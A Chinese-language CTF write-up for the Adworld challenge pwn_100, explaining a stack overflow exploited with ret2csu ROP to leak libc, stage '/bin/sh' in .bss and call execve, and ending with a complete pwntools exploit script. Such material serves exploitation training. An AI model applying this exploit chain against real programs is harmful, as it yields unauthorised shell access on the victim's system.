攻防世界—pwn_100 wp

最近在ctf wiki上看到了通用ROP的技术,跟着教程把它的例题做了,感觉需要找一题比赛真题练练手。

准备工作

用die看看程序的基本信息

image-20211006203739980

ELF64位的程序

用checksec看看开了啥保护

image-20211006205700434

只开了NX保护

静态分析 by ida

image-20211006203937578

进入函数sub_40068E,注意到V1只开辟了64h的空间

image-20211006204028693

进入函数 sub_40063D,分析可知,该函数的功能类似read(0,input,200),就是输入200个byte的数据保存到栈中,存在明显的栈溢出漏洞

image-20211006204106713

动态调试 by gdb

调试了很久,这部分省略了~~~

开始ROP

发现程序中没有现成的system和“/bin/sh”使用,所以我们考虑使用通用ROP解题

找到两个通用ROP的关键地址

cus_addr_end = 0x40075a
cus_addr_front = 0x400740

image-20211006211043925

控制程序返回到这两个地址,我们可以控制rbx,rbp,r12,r13,r14,r15,rdx,rsi,edi 寄存器的数据,即64位程序函数的传参都没问题了,并且还可以调用我们构造的[r12+rbx*8]地址处所指向的的函数。

思路:

1.利用puts函数泄露libc中函数的地址

具体实现:

利用栈溢出覆盖栈中原本的返回地址为cus_addr_end,将我们需要的寄存器参数(puts_got_addr)写入,再将返回地址覆盖为cus_addr_front,这样就可以执行puts函数泄露puts函数的地址,注意执行完cus_addr_front后还会接下去执行cus_addr_end处的pop,所以需要填充8 * 7 = 56 byte的数据,最后再将返回地址覆盖为main_addr,因为我们之后还得再利用栈溢出漏洞,还得注意将payload填充至200 byte(输入函数有要求)

!注意这里输入数据用的是send()而不是sendline,因为输入函数是read()而不是gets()

接下来接收打印在屏幕上的puts地址,再与libc中puts偏移地址相减获得libc基址——libc_base,之后就可以轻松获取execve函数的地址。

2.利用read函数将字符串写入bss段

具体实现:

类似第一步的操作,将r12寄存器的值设置为read函数got表地址——read_got_addr、将其参数设置为bss段偏移为16的地址——bss_base_16,执行read()

你可能会好奇为什么不直接用bss段的起始地址而是用bss段偏移为16的地址?

!注意这里有一个大坑,调试了好几遍才发现

image-20211006214322596

main函数的开始从cs:stdincs:stdout里取值赋给寄存器,作为setbuf函数的参数,并且bss段首存在stdin,stdout 结构体指针,如果在bss段首写入数据将这两个结构体指针覆盖了,程序运行到call_setbuf函数会报错,然后终止,所以要避开这两个结构体指针,从bss_base_16写入execve地址——sys_addr

最后利用send()将“/bin/sh”写入bss_base_16 + 8处。

3.再次利用通用ROP执行execve

具体实现:

类似第一步的操作,将r12寄存器的值设置为bss_base_16、将其参数设置bss_base_16 + 8,执行execv(“/bin/sh”)。

exp:

from pwn import *
#context.log_level = 'debug'
p = process("./pwn_100")
e = ELF("./pwn_100")

main_addr = 0x4006b8
cus_addr_end = 0x40075a
cus_addr_front = 0x400740
puts_plt_addr = e.plt["puts"]
puts_got_addr = e.got["puts"]
read_got_addr = e.got["read"]
bss_base_16 = e.bss() + 16

print("bss+16:" + hex(bss_base_16))
off = 0x40 + 8

##get puts_got_addr
payload1 = off * 'a' + p64(cus_addr_end) + p64(0) + p64(1) + p64(puts_got_addr) + p64(0) + p64(0) + p64(puts_got_addr) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr)
payload1 = payload1.ljust(200, "B")
#gdb.attach(p,"b *0x4006AC")

p.send(payload1)
p.recvuntil("bye~\n")
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
print("puts_addr:" + hex(puts_addr))

#get sys_addr
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = puts_addr - libc.symbols["puts"]
sys_addr = libc_base + libc.symbols["execve"]
print("sys_addr:" + hex(sys_addr))

##read(0,bss,16)
payload2 = off * 'a' + p64(cus_addr_end) + p64(0) + p64(1) + p64(read_got_addr) + p64(16) + p64(bss_base_16) + p64(0) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr)
payload2 = payload2.ljust(200, "B")

p.send(payload2)

##sent(/bin/sh) to bss
p.recvuntil('bye~\n')
p.send(p64(sys_addr) + '/bin/sh\x00')

##getshell
payload3 = off * 'a' + p64(cus_addr_end) + p64(0) + p64(1) + p64(bss_base_16) + p64(0) + p64(0) + p64(bss_base_16 + 8) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr)
payload3 = payload3.ljust(200, "B")

p.send(payload3)
p.interactive()